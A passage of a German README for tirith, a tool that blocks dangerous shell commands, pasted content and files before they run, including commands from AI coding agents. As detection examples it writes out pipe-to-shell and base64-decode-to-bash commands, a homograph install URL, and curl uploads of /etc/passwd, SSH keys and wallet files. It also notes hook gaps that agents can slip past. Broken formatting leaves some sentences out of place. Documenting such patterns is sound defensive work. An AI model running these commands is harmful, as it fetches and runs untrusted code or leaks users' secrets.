Du kannst es nicht. Dein Terminal auch nicht. Beide `і`-Zeichen sind kyrillisch (U+0456), nicht lateinisch `i`. Die zweite URL führt zu einem Server des Angreifers. Das Skript wird ausgeführt, bevor du es bemerkst.

Browser haben das vor Jahren gelöst. Terminals geben Unicode, ANSI-Escapes und unsichtbare Zeichen weiterhin ohne Nachfrage aus. KI-Agenten führen Shell-Befehle aus und installieren Pakete, ohne zu prüfen, was darin steckt.

**Tirith steht am Tor.** Es fängt Befehle, eingefügte Inhalte und gescannte Dateien ab – auf Homograph-URLs, verschleierte Payloads, Credential-Exfiltration, bösartige KI-Skills/-Konfigurationen und bekannte bösartige Pakete/Domains/IPs aus einer signierten Threat-Intelligence-Datenbank – bevor sie ausgeführt werden.```bash
brew install tirith

> [!TIP]
> `eval "$(tirith init)"` erkennt deine aktuelle Shell automatisch (es untersucht den übergeordneten Prozess und greift bei Bedarf auf `$SHELL` zurück). Das explizite `--shell`-Flag ist nur erforderlich, wenn du die Erkennung überschreiben möchtest.

Das war's zur Abdeckung interaktiver Shells. Befehle, die von dieser Shell akzeptiert werden,
werden geprüft, während der Hook geladen und funktionsfähig ist; das genaue Blockierverhalten hängt
von der Shell und dem Modus ab. Führe `tirith doctor` nach der Installation und nach Upgrades aus, und
lies [enforcement by shell](#enforcement-by-shell), bevor du den Hook als
Autorisierungsgrenze behandelst. Saubere Befehle bleiben stumm und nehmen normalerweise den
schnellen Pfad.

Ebenfalls verfügbar über [npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages) und [mehr](#install).

---

## Sieh es in Aktion

**Homograph-Angriff, blockiert vor der Ausführung:**```
$ curl -sSL https://іnstall.example-clі.dev | bash

tirith: BLOCKED
  [CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
    This is a homograph attack. The URL visually mimics a legitimate
    domain but resolves to a completely different server.
  Bypass: prefix your command with TIRITH=0 (applies to that command only)

Warnung wird auf stderr ausgegeben. Der Befehl wird trotzdem ausgeführt.

**Base64-Decodierungs-Ausführungskette, blockiert:**```
$ echo payload | base64 -d | bash

tirith: BLOCKED
  [HIGH] base64_decode_execute, Base64 decode piped to interpreter
  [HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash

Deckt alle curl/wget-Upload-Flags, Umgebungsvariablen (`$AWS_SECRET_ACCESS_KEY`) und Command Substitution ab.

**Bösartige Skill-Datei, beim Scan erkannt:**```
$ tirith scan evil_skill.py

tirith scan: evil_skill.py, 3 finding(s)
  [MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
  [MEDIUM] obfuscated_payload, Long base64 string decoded and executed
  [MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument

Nichts. Null Ausgabe. Du vergisst, dass tirith läuft.

---

## Was es erkennt

**244 Erkennungsregeln in 35 Kategorien.**

| Kategorie | Was es stoppt |
|----------|--------------|
| **Homograph-Angriffe** | Kyrillische/griechische Lookalikes in Hostnamen, Punycode-Domains, Mixed-Script-Labels, Lookalike-TLDs, verwechselbare Domains, Konfusable-Erkennung auf Textebene (mathematische Alphanumerika, gleichwortige Mixed-Scripts) |
| **Terminal-Injection** | ANSI-Escape-Sequenzen, Bidi-Overrides, Zero-Width-Zeichen, Unicode-Tags, unsichtbare mathematische Operatoren, Variation Selectors, Hangul-Filler |
| **Steganographie-Abwehr** | Unsichtbare Whitespace-Kodierung (12 Unicode-Leerzeichen-Varianten), Mongolian Vowel Separator, Hangul-Filler-Zeichen, mathematische alphanumerische Substitution, Abwehr gegen st3gg-artige Textsteganographie |
| **Pipe-to-Shell** | `curl \| bash`, `wget \| sh`, `httpie \| sh`, `xh \| sh`, `python <(curl ...)`, `eval $(wget ...)`, plus viele Wrapper-, Decode- und Indirektionspfade |
| **Base64-Decode-Execute** | `base64 -d \| bash`, `python -c "exec(b64decode(...))"`, `powershell -EncodedCommand`, Decode-Ketten durch sudo/env-Wrapper |
| **Datenexfiltration** | `curl -d @/etc/passwd`, `curl -T ~/.ssh/id_rsa`, `wget --post-file`, Env-Var-Uploads (`$AWS_SECRET_ACCESS_KEY`), Command-Substitution-Exfil |
| **Code-Datei-Scanning** | Obfuskierte Payloads (`eval(atob(...))`), dynamische Codeausführung (`exec(b64decode(...))`), Secret-Exfiltration via `fetch`/`requests.post` in JS/Python-Dateien |
| **Credential-Erkennung** | AWS-Keys, GitHub-PATs, Stripe/Slack/SendGrid/Anthropic/GCP/npm-Tokens, Private-Key-Blöcke, plus entropiebasierte generische Secret-Erkennung |
| **Post-Compromise-Verhalten** | Prozessspeicher-Scraping (`/proc/*/mem`), Docker-Remote-Privilege-Escalation, Credential-Datei-Sweeps, kalibriert gegen TeamPCP- und UNC1069-Post-Compromise-Tooling |
| **Befehlssicherheit** | Dotfile-Überschreibungen, Archivextraktion in sensible Pfade, Cloud-Metadata-Endpoint-Zugriff, Zugriff auf private Netzwerke |
| **Unsichere Transportwege** | Plain HTTP in Shell gepipet, `curl -k`, deaktivierte TLS-Verifikation, verkürzte URLs, die Ziele verbergen |
| **Umgebung** | Proxy-Hijacking, sensible Env-Exports, Code-Injection via Env, Interpreter-Hijack, Shell-Injection-Env |
| **Konfigurationsdatei-Sicherheit** | Config-Injection, verdächtige Indikatoren, Nicht-ASCII/unsichtbares Unicode in Configs, MCP-Server-Sicherheit (unsicher/nicht vertrauenswürdig/dupliziert/permissiv) |
| **Ökosystem-Bedrohungen** | Git-Clone-Typosquats, nicht vertrauenswürdige Docker-Registries, pip/npm-URL-Installationen, Web3-RPC-Endpunkte, vet-not-configured |
| **Install-Befehlssicherheit** | APT-Repos aus einem gepipeten Download hinzugefügt, `[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never` (deaktivierte Signaturprüfungen), `kubectl apply -f` gegen rohe/verkürzte Remote-Manifeste, Helm-Charts aus nicht vertrauenswürdigen Repos, Terraform-Module aus nicht vertrauenswürdigen Remote-Quellen, `brew install`/`tap` aus beliebigen URLs |
| **Pfadanalyse** | Nicht-ASCII-Pfade, Homoglyphen in Pfaden, Doppelkodierung |
| **Gerenderte Inhalte** | Versteckte CSS-/Farbinhalte, versteckte HTML-Attribute, Kommentarinhalt-Analyse (Prompt-Injection bei High, destruktive Befehle bei Medium) |
| **Cloaking-Erkennung** | Serverseitiges Cloaking (Bot vs. Browser), versteckter Clipboard-Inhalt, versteckter PDF-Text |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`, Windows Defender-Ausnahmen (`Add-MpPreference -Exclusion*`), Inline-`iex (iwr ...)`-Download-Execute |
| **Terminal-Ausgabe-Abwehr** | OSC 52-Clipboard-Schreibvorgänge, gefälschte Prompts, OSC 8-Hyperlink- und Titel-/Clear-Screen-Manipulation, Prompt-Injection innerhalb von Befehls- oder MCP-Tool-Ausgaben (sowohl roh als auch deobfuskiert gescannt, sodass auch Unsichtbarzeichen-, Konfusable-, aufgespreizte, Leetspeak- und kurze Base64-/Hex-Evasionen erfasst werden) und Ausgabe-Datenexfiltration (Beacon-URLs oder „lies ein Secret und sende es"-Direktiven) |
| **Operativer Kontext** | Destruktive Befehle gegen als Prod gekennzeichnete Cloud-/k8s-Kontexte und SSH-Hosts, Terraform / Pulumi / OpenTofu `apply` ohne passenden gespeicherten Plan, riskante sudo-Eskalation, privilegiertes `docker run` |
| **Workstation & Persistenz** | Credential-Dateien mit lockeren Berechtigungen und Klartext-Tokens (`~/.ssh`, `~/.aws`, `.npmrc`), Persistenz-Footholds (Shell-RC, `authorized_keys`, Crontab, LaunchAgents, Git `core.hooksPath`), PATH-Hijack-Reihenfolge, Executable-Provenienz, riskante Aliase und Lebenszyklus sensibler Env-Variablen |
| **Blast Radius & Korrelation** | Löschvorgänge, die das Repo verlassen, Massenlöschungen, Ausführung von Dateien, die aus riskanten Quellen heruntergeladen wurden, und Sitzungsketten wie Secret-Write dann Netzwerk oder Delete dann `git push --force` |
| **Vertrauen, Attestierung & Provenienz** | Signierte Command-Card-Abweichung, Canary-Honeytoken-Berührungen, Paste-Source-Host-Abweichung, Caller-Origin-(Agent)-Policy-Verweigerungen, MCP-Lockfile-Drift und AI-Config-Drift gegenüber einem bekannten sicheren Snapshot |
| **Web3-Befehlswächter** | On-Chain-Schreibvorgänge aus Cast-/Forge-/Hardhat-/Solana-/Anchor-Befehlen (High, wenn derselbe Befehl auch eine deklarierte Sicherheitskontrolle deaktiviert), rohes Private-Key-, Keypair- oder Mnemonic-Material auf der Kommandozeile und ein RPC-Endpunkt oder Signer, dem die `web3_guard`-Policy des Operators nicht vertraut. Nur Grammatik und Policy: Es wird kein Chain-State gelesen, keine Transaktion simuliert und keine Adresse bewertet |
| **Wallet-Exfiltration** | Geprüftes Wallet-, Keystore-, Browser-Wallet- und Solana-Keypair-Material, das zu einer nachgewiesenen Remote-Senke fließt, einschließlich Archiv-, Base64-, Hex-, Kompressor- und Verschlüsseler-Staging-Hops und `xargs` / `find -exec`-Operanden-Promotion. Ein reiner Quell-Lesezugriff ist bewusst kein Finding |
| **CI-Artefakt-Vergiftung** | Ein fork-erreichbarer Workflow, der ein Build-Artefakt hochlädt, das von einem privilegierten `workflow_run`-Workflow konsumiert wird, der an den auslösenden Run gebunden ist und es dann ausführt, sourct, PATH-mutiert, veröffentlicht oder deployt |

---

## Wogegen tirith NICHT schützt

Tirith analysiert die **Struktur** von Befehlen, eingefügtem Text und Dateien,
bevor sie ausgeführt werden. Es ist ein Pre-Execution-Gate, keine Runtime-Verteidigung, und deckt
Folgendes nicht ab:

- **Allgemeines Runtime-Sandboxing:** Gewöhnliche Shell-Hooks und `tirith check` warnen
  oder blockieren; sie isolieren einen Befehl nach dem Start nicht. Die expliziten
  `capsule run --preset untrusted-project`- und durchsetzenden `pkg install`-Pfade
  bieten fail-closed-Containment nur auf unterstützten x86_64-Linux-Hosts.
- **Netzwerküberwachung nach der Ausführung:** Was ein Prozess nach dem Start im Netzwerk tut,
  liegt außerhalb des Geltungsbereichs.
- **Allgemeine Malware-/Payload-Erkennung:** tirith ist kein Antivirus und
  detoniert keine Payload. Es analysiert Struktur und kann exakte Indikatoren
  und Artefakt-/Datei-Hashes aus der signierten Threat-Datenbank abgleichen, aber eine unbekannte
  Payload ist durch das Fehlen eines Treffers nicht als harmlos bewiesen. (`tirith run` prüft
  die Struktur eines heruntergeladenen Skripts; es ist dennoch keine dynamische Malware-Analyse.)
- **Ein privilegierter Root-/Admin-Angreifer:** Wer bereits Root oder Admin ist, kann
  tirith trivial umgehen. Es verteidigt gegen getäuschte Eingaben, nicht gegen einen Angreifer, der
  die Maschine bereits besitzt.
- **Anti-Debugging / Anti-Tampering:** tirith widersteht keinem Reverse Engineering
  und schützt sein eigenes Binary nicht vor einem lokalen Angreifer.
- **On-Chain-Analyse:** Der Web3-Guard liest die Befehlgrammatik. Er liest keinen
  Chain-State, simuliert keine Transaktion, löst kein ENS auf, bewertet keine Adresse, auditiert keinen
  Vertrag und überwacht keinen Mempool.
- **Eine npm-Artefakt-Firewall:** tirith parst npm-Befehlgrammatik und Registry-
  Identitätsfakten und kann das projekt-eigene npm nach seinem Signatur- und
  Provenienz-Status fragen. Es lädt die Tarball-Bytes, die npm installiert, nicht herunter, extrahiert, quarantäniert oder bindet sie. Die contained, hash-gepinnte Artefakt-Firewall ist
  nur für Python.
- **Browser-Forensik oder -Überwachung:** `tirith browser audit` ist ein expliziter,
  einmaliger, schreibgeschützter Integritäts-Audit von Extension-Source-Trees. Er liest niemals
  Cookies, Verlauf, gespeicherte Passwörter, Storage, Wallet-Datenbanken oder `Local
  State`, entfernt oder quarantäniert niemals etwas und hat keinen Daemon.
- **Reproduzierbare Builds:** Ein `attest`-Receipt zeichnet auf, was zwei Trees
  zu einem Zeitpunkt enthielten. Tirith führt deinen Build nicht aus und kann nicht sagen, dass die Ausgabe
  aus der Quelle stammt. Ein Deployment-Receipt ist eine Momentaufnahme, keine
  kontinuierliche Überwachung.

Siehe [docs/threat-model.md](https://github.com/sheeki03/tirith/blob/main/docs/threat-model.md) für das vollständige Threat-Model und
explizite Non-Goals sowie
[docs/enforcement-coverage.md](https://github.com/sheeki03/tirith/blob/main/docs/enforcement-coverage.md) für ein
Fähigkeit-für-Fähigkeit-Ledger dessen, was tirith erkennt, entscheidet, durchsetzt,
containt und attestiert.

---

## Bekannte Einschränkungen

- **Shell-Hook-Fragilität:** Der Schutz hängt davon ab, dass ein Shell-Hook installiert
  und aktiv bleibt. Hooks können über Shells, Shell-Versionen,
  Prompt-Frameworks und History-Tools hinweg brechen oder still degradieren. Führe `tirith doctor` aus, um den Live-Zustand zu prüfen
  und auf Warn-only-Degradierung zu achten.
- **Voller oder schreibgeschützter temporärer Speicher:** zsh und fish erfassen Eingaben über eine
  Scratch-Datei, bevor sie Tirith aufrufen, und schlagen fail-closed fehl, wenn diese Datei nicht
  erstellt werden kann. Ein volles/schreibgeschütztes `TMPDIR` kann daher jeden Befehl verweigern, und
  `TIRITH=0` kann nicht wiederherstellen, weil das Binary nie erreicht wird. Befolge die
  Wiederherstellungsschritte in [troubleshooting](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md).
- **Plattformbeschränkte Features:** Daemon-Modus, `tirith run` und `tirith fetch`
  sind Unix-Oberflächen. `tirith run --no-exec` bleibt dort ein Inspektions-Workflow,
  aber Live-Remote-Script-Ausführung ist nur unter Linux möglich und verweigert vor
  dem Download auf jedem anderen Host. `tirith setup` ist plattformübergreifend, während jede
  Host-Integration ihren eigenen Plattformvertrag hat (zum Beispiel hat Cline POSIX-
  und Windows-Wrapper; OpenHands' blockierender Hook ist nur Unix).
- **Umfang der Paketnamen-Extraktion:** deckt Sprach-Ökosysteme ab (pip,
  npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), nicht Distro-
  Paketmanager (`apt`, `dnf`, `yum`, `pacman`).
- **AI-Agent-Vorbehalte:** Shell-Hook-Interception schützt nur Befehle, die
  durch eine gehookte interaktive Shell gehen. Ein Agent, der eine nicht-interaktive
  Shell startet, `exec` direkt aufruft oder ohne geladenen Hook läuft, wird von dieser Ebene nicht
  abgedeckt. MCP-Registrierung ist kooperativ, sofern Aufrufe nicht
  durch das Gateway geroutet werden. Ein unterstützter Pre-Tool-Hook kann einen
  Host-Befehl automatisch zurückhalten, aber nur, wenn dieser Host ihn geladen und beachtet hat; mehrere Hosts
  schlagen fail-open fehl, wenn ein Hook-Prozess einen Fehler wirft. Verifiziere den effektiven Host, nicht nur die
  Anwesenheit einer Config-Datei.
- **Host-Hook-Fehlerverhalten:** Grok Build, Cline und OpenHands erlauben das
  Tool, wenn ihr Hook-Prozess abstürzt oder timeoutet. Tiriths Adapter verweigert bei
  eigenen Fehlern standardmäßig, aber er kann einen Host nicht dazu bringen, einen Prozess zu beachten, der
  nicht zurückgekehrt ist. Führe das Setup erneut aus, wenn ein gepinnter Interpreter sich verschiebt, und teste den echten Host
  nach jedem Upgrade.
- **Prime Agent IPython ist Source-Level-Extraktion:** Der Guard deckt Shell-
  Escapes/Magics und gängige `os`-, `subprocess`- und `pty.spawn`-Formen ab, aber er ist
  keine Python-Runtime-Sandbox. Ein in einer früheren Zelle definierter Wrapper,
  Reflection wie `getattr`/`__import__` oder ein Drittanbieter-Paket, das
  einen Prozess startet, kann entkommen, was ein Source-Lexer beweisen kann.
- **Custom-DLP und Maschinenausgabe:** Breite `dlp_custom_patterns` können derzeit
  protokoll-eigene String-Werte in rekursiv redigierten JSON-/MCP-Projektionen umschreiben,
  einschließlich generierter Identifikatoren oder Receipt-Metadaten. Vermeide
  Muster, die strukturelle Werte treffen können, wenn du signierte oder
  maschinenstabile Ausgabe konsumierst; dies benötigt feldbewusste Redaktion vor dem Release.
- **Unbeaufsichtigte Install-Genehmigung:** `tirith install --yes` wird als
  unbeaufsichtigter `require_approval`-Kanal des Package-Manager-Task-Gates akzeptiert. Es ist ein
  explizites Operator-Flag, kein Beweis für eine menschliche TTY-Bestätigung. Verwende eine blockierende
  Task-Policy, wo unbeaufsichtigte Ausführung unmöglich sein muss.
- **Interpretierte MCP-Bindung:** Exakte interpretierte Server-Bindung hasht den
  Repository-Tree unter festen Caps, anstatt eine echte Dependency-
  Closure zu entdecken, sodass große Trees, Symlinks oder spezielle Dateien den Start verweigern können. Sie
  revalidiert vor dem Spawn, führt aber keine Interpreter-Eingaben aus versiegelten
  geprüften Deskriptoren aus; gleichzeitige Same-User-Mutation bleibt eine Verify-to-Load-
  Lücke.
- **Task-Gate-Abdeckung:** Task-Effect-Inferenz modelliert die Web3-Shell-Grammatik
  und nichts anderes, sodass nahezu jeder gewöhnliche SHELL-Befehl als
  INCOMPLETE gemeldet wird. `task_gate.mode: enforce` mit `action_incomplete_analysis: block`
  verweigert diese an den fünf Grenzen, die eine Shell-Envelope übermitteln, und ändert
  nichts an den vier Paket- und Config-Write-Grenzen, die immer als vollständig bewertet werden. `warn` ist der Standard. Die Alternative,
  `effects_denied_for_untrusted_sources`, verweigert den benannten Effekt bei jedem Aufruf
  an jeder eigenen Grenze, einschließlich Befehlen, die du selbst getippt hast, weil keine
  Quelle an diesen Grenzen jemals als vertrauenswürdig behandelt wird.
- **Containment ist x86_64 Linux:** `tirith capsule run --preset
  untrusted-project` und durchsetzendes `tirith pkg install` sind nur auf
  x86_64 Linux mit einer nutzbaren Landlock-ABI durchsetzbar. Jeder andere Host verweigert, bevor
  etwas kopiert oder gestartet wird, ohne degradierten Fallback. Domain-
  Allow-Listing wird von keinem Backend angeboten.
- **Nested-Shell-Exfiltrationslücke:** Ein sensibler Lesezugriff innerhalb eines verschachtelten Shell-Bodys,
  dessen Senke außerhalb liegt, wie `bash -c "cat <wallet>" | curl -d @- <url>`,
  wird heute nicht korreliert. Dieselbe Kette vollständig innerhalb oder vollständig außerhalb des
  `-c`-Bodys wird erkannt.
- **Execution-Evidence-Grades:** Ein Linux-Launch wird erst bestätigt, nachdem sein
  gestoppter `exec`-Übergang, durables State-Update, autorisierte Resume und
  Terminal-Launcher-Beweis alle abgeschlossen sind. Ein Gateway-Aufruf wird nur durch ein
  exakt korreliertes Ergebnis bestätigt. Shell-Beobachtungen und weitergeleitete Gateway-Aufrufe, die
  timeouten oder abgebrochen werden, bleiben konservative ungelöste Evidenz, niemals
  bestätigte Ausführung. Strikte Shell-Receipts sind für interaktives
  bash, zsh und fish verfügbar; PowerShell bleibt preflight-only. Natives Linux-Launcher-
  Verhalten muss durch Linux-CI oder einen nativen Linux-Host verifiziert werden; weder portable
  Source-/Unit-Abdeckung noch ein macOS-Build können das ersetzen.
- **Web3-Abdeckungslücken:** `forge create` ist noch nicht auf Engine-Oberflächen modelliert;
  mehrere deklarierte `web3_guard`-Felder werden geparst, aber nicht durchgesetzt; und
  Schema-2-Command-Card-Web3-Bindings haben noch keinen CLI-Authoring- oder Live-
  Engine-Consumption-Pfad. Behandle diese als bekannte Lücken, nicht als stille Autorisierung.

---

## Threat Intelligence

Tirith liefert eine signierte lokale Threat-Datenbank für Paket-, Hostname- und IP-Reputation. Wenn ein Shell-Hook oder `tirith check` eine Paketinstallation oder einen verdächtigen Infrastrukturverweis sieht, gleicht es diese Eingabe gegen die Datenbank ab, bevor der Befehl ausgeführt wird, anstatt sich nur auf statische Heuristiken zu verlassen.

**Signierte DB** (von CI gebaut, bei Download und Laden verifiziert):

- Bekannte bösartige Pakete von [OpenSSF Malicious Packages](https://github.com/ossf/malicious-packages) und [Datadog Security Labs](https://github.com/DataDog/malicious-software-packages-dataset)
- Bösartige IP-Infrastruktur von [Feodo Tracker](https://feodotracker.abuse.ch/) (abuse.ch)
- Bestätigte Typosquats und Baselines populärer Pakete von [ecosyste.ms](https://ecosyste.ms/)
- [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)-Katalog für Runtime-Advisory-Korrelation

ThreatDB v2 fügt exakte Artefakt-SHA-256-Werte, Hashes installierter Dateien,
bösartige URLs, Kampagnenzugehörigkeit und Behavior-Tags hinzu. Der signierte Index,
Updater, Compiler und Loader unterstützen v1 und v2 während des stufenweisen Cutovers,
lehnen Sequenz-Rollback ab, veröffentlichen transaktional und behalten eine signierte
Last-Known-Good-Datenbank, wenn ein Update unvollständig oder ungültig ist. Die
DigitalSide-Quelle ist implementiert, aber absichtlich inaktiv, bis ihre
Freshness und ihr Operating Contract genehmigt sind.

**Optionale ergänzende Feeds** (benutzerlokales Overlay):

- [URLhaus](https://urlhaus.abuse.ch/) und [ThreatFox](https://threatfox.abuse.ch/) über einen abuse.ch-Auth-Key
- [PhishTank](https://phishtank.org/) (Cisco Talos) und [Phishing Army](https://phishing.army/)-Blocklisten
- Tor-Exit-Node-Liste vom [Tor Project](https://www.torproject.org/)

**Optionale Live-Anreicherung** während `tirith check` und Daemon-Modus:

- [OSV.dev](https://osv.dev/)-Advisory-Lookups (Google OSS)
- [deps.dev](https://deps.dev/)-Paketgesundheitssignale (Google OSS) und [ecosyste.ms](https://ecosyste.ms/)-Maintainer-Daten
- [Google Safe Browsing](https://safebrowsing.google.com/)-URL-Reputation mit deinem eigenen API-Key```bash
tirith threat-db update              # download + verify the signed DB
tirith threat-db status              # age, signature, version, entry counts
tirith threat-db health              # install, signature, staleness, counts
tirith threat-db sources             # list every feed the DB is built from
tirith threat-db explain react       # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01   # count changes since a version/date

**Standardmäßig offline.** Ohne Flags ist jedes Signal lokal, ohne Netzwerkaufruf: (1) **Name vs. populäre Pakete**: bekannt-populär, unbekannt oder ein Ein-Edit-Near-Miss eines populären Namens (die klassische Typosquat-/Slopsquat-Form), aus dem `popular`-Set der lokalen Threat-Datenbank; (2) **bekannter bösartiger Typosquat**: ein exakter Treffer im `typosquat`-Index der Threat-DB; (3) **Install-/Lifecycle-Skripte** und (4) **gebündelte Binär-Blobs**, nur erkannt, wenn der Paketinhalt lokal verfügbar ist (unter `node_modules` / `site-packages` oder via `--path`). tirith **lädt das Paket niemals herunter**.

**`--online` fügt Registry-Provenienz hinzu.** Es konsultiert die Registry des Pakets (npm, PyPI oder crates.io) für sechs weitere Faktoren im *selben* Faktor-Summen-Modell: Paket-/Versionsalter, ein etabliertes Paket ohne Eigentümer, ein abnormaler Versionsanstieg, sehr niedrige Downloads, ein fehlendes Quell-Repository und Yanked-/Deprecated-Status. Es ist der einzige Pfad, auf dem `package risk` selbst das Netzwerk erreicht; `tirith check` und der Daemon-Modus haben einen separaten, richtlinienkontrollierten Runtime-Anreicherungspfad. `--offline` / `TIRITH_OFFLINE` erzwingen diesen Scorer unabhängig davon offline. Fehler fallen auf den Offline-Score mit einem ehrlichen `api signals: unavailable` zurück, und Antworten werden mit einer TTL zwischengespeichert, damit wiederholte Läufe die Registries nicht überlasten.

Der Score ist beratend und eigenständig: `package risk` ist keine Erkennungsregel und ändert kein Urteil, keinen Exit-Code und kein Audit-Log.

### Ecosystem-Scan und Dependency-Risiko

`tirith ecosystem scan [path]` ist der Begleiter auf Verzeichnisebene zu `package risk`. Es durchläuft ein Projekt, entdeckt jedes Dependency-Manifest, das es versteht, npm (`package.json`, `package-lock.json`), Python (`requirements*.txt`, `pyproject.toml`), Rust (`Cargo.toml`), Go (`go.mod`), Ruby (`Gemfile`), und bewertet **jede deklarierte Dependency** mit derselben deterministischen `package_risk`-Faktor-Engine.```bash
tirith ecosystem scan                       # scan the current project
tirith ecosystem scan ./my-project          # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./      # full machine-readable report

Die Inspektion umfasst Radstruktur und -identität, RECORD-Integrität und Dateieigentümerschaft, Python-Start-Hooks, native ELF/Mach-O/PE-Erweiterungen, Ausführungskanten und Loader-/Payload-Aufteilungen über Distributionen hinweg. `pkg graph`, `pkg diff`, `pkg attest` und `pkg receipt` legen die entsprechenden Provenienz- und Receipt-Nachweise offen.

Der durchsetzende Pfad unterstützt **pip nur auf x86_64 Linux** und erfordert die dokumentierte native Autorität, ein neu dediziertes Zielverzeichnis und ein eingetragenes vollständig statisches natives `uv`. Jede nicht unterstützte Plattform schlägt fehl, bevor pip startet; sie fällt niemals auf eine gewöhnliche Installation zurück. npm und Cargo bleiben nicht-durchsetzende Evidenzoberflächen. Siehe die
[0.4.0 Versionshinweise](https://github.com/sheeki03/tirith/blob/main/docs/release-notes-0.4.0.md) und
[Befehlsreferenz](https://github.com/sheeki03/tirith/blob/main/docs/commands.md).

**Angriffsfamilien, für die tirith gebaut ist** (illustrativ, keine Behauptung, dass der aktuelle Code sie abfängt):

| Vorfall | Jahr | Angriffsform |
|---|---|---|
| [Shai-Hulud npm-Wurm](https://socket.dev/blog/shai-hulud-worm) | 2025 | Selbstverbreitende Paket-Malware; exfiltrierte GitHub-Token und AWS-Schlüssel aus 180+ Paketen, veröffentlichte Funde in öffentlichen `Shai-Hulud`-Repos |
| [Slopsquatting](https://socket.dev/blog/slopsquatting-how-ai-hallucinations-are-fueling-a-new-class-of-supply-chain-attacks) | 2023 bis andauernd | Angreifer registrieren LLM-halluzinierte Paketnamen auf npm / PyPI / crates.io; [USENIX 2025](https://www.usenix.org/system/files/conference/usenixsecurity25/sec25cycle1-prepub-742-spracklen.pdf) fand heraus, dass 58% der halluzinierten Namen sich über Läufe hinweg wiederholen |
| Team PCP / UNC1069-Tooling | andauernd | Post-Kompromittierungs-Credential-Sweeps, `/proc/*/mem`-Scraping, Docker-Privilegieneskalation |
| [colors.js / faker.js Sabotage](https://snyk.io/blog/open-source-npm-packages-colors-faker/) | 2022 | Selbstsabotage des Autors weit verbreiteter Pakete |
| [event-stream Kompromittierung](https://github.com/dominictarr/event-stream/issues/116) | 2018 | Eigentumsübertragung an Angreifer; Payload zielte auf Bitcoin-Wallets ab |

Die Extraktion von Paketnamen deckt derzeit Sprach-Ökosysteme ab (pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), nicht aber Distributions-Paketmanager (`apt` / `dnf` / `yum` / `pacman`). Deshalb ist xz-utils, das über Linux-Distro-Tarballs eindrang, trotz eines Schlagzeilen-Vorfalls nicht in der Tabelle.

---

## KI-Agent-Sicherheit

Tirith fügt mehrere unabhängige Schutzschichten um KI-Coding-Agents hinzu:
Konfigurations-Scanning, kooperative MCP-Tools, ein MCP-Gateway, Interactive-Shell-
Hooks und host-native Pre-Tool-Hooks, wo der Host einen dokumentierten
Blocking-Vertrag offenlegt. Die Abdeckung hängt davon ab, welche Schicht der Host tatsächlich lädt.

### Shell-Hooks, passive Befehlsinterzeption

Wenn ein KI-Agent über eine gehookte interaktive Shell ausgeführt wird (Claude Code,
Codex, Cursor usw.), prüft tiriths Shell-Hook diesen interaktiven Befehl, bevor
die Shell ihn akzeptiert. Dies deckt keine nicht-interaktive Shell, kein direktes
`exec` oder einen Agent-Prozess ab, der den Hook nie geladen hat:

- **Blockiert gefährliche Befehle**: Homograph-URLs, Pipe-to-Shell, unsichere Downloads
- **Blockiert bösartiges Einfügen**: ANSI-Injection, Bidi-Angriffe, versteckte Mehrzeiligkeit in eingefügtem Inhalt
- **Agent-unabhängiges interaktives Gate**: keine agent-spezifische Integration ist
  nötig, wenn dieser Agent tatsächlich die geschützte interaktive Shell verwendet
- **Null Agent-Modifikation**: der Agent weiß nicht, dass tirith existiert, bis ein Befehl blockiert wird

Verwenden Sie `tirith setup <tool>` für Ein-Befehl-Konfiguration (siehe [KI-Agent-Integrationen](#ai-agent-integrations)).

### MCP-Server (6 plattformübergreifende Tools; 7 auf Unix)

Führen Sie `tirith mcp-server` aus oder verwenden Sie `tirith setup <tool> --with-mcp`, um tirith als MCP-Server zu registrieren. KI-Agents können diese Tools aufrufen, bevor sie handeln:

| Tool | Was es tut |
|------|-------------|
| `tirith_check_command` | Analysiert Shell-Befehle auf Pipe-to-Shell, Homograph-URLs, Env-Injection |
| `tirith_check_url` | Bewertet URLs auf Homograph-Angriffe, Punycode-Tricks, verkürzte URLs, rohe IPs |
| `tirith_check_paste` | Prüft eingefügten Inhalt auf ANSI-Escapes, Bidi-Steuerzeichen, Zero-Width-Zeichen |
| `tirith_scan_file` | Scannt eine Datei auf versteckten Inhalt, unsichtbares Unicode, Konfigurationsvergiftung |
| `tirith_scan_directory` | Rekursiver Scan mit Priorisierung von KI-Konfigurationsdateien |
| `tirith_verify_mcp_config` | Validiert MCP-Konfigurationen auf unsichere Server, Shell-Injection in Args, Wildcard-Tools |
| `tirith_fetch_cloaking` | Erkennt serverseitiges Cloaking (unterschiedlicher Inhalt für Bots vs. Browser) |

Das Standard-`tools/list` ist ein eingefrorener Kompatibilitätsvertrag, weil Clients
es cachen und ein Tool, das unangekündigt erscheint, ändert, was ein Agent glaubt
aufrufen zu dürfen. Ein Vorschau-Tool, `tirith_check_task`, wird daher **standardmäßig nicht beworben**: Führen Sie `TIRITH_MCP_PREVIEW=1 tirith mcp-server` aus, um es zu bewerben, und
ohne dieses Opt-in wird ein Client, der es namentlich aufruft, namentlich abgelehnt. Siehe
[docs/task-envelope.md](https://github.com/sheeki03/tirith/blob/main/docs/task-envelope.md).

### MCP-Server-Governance

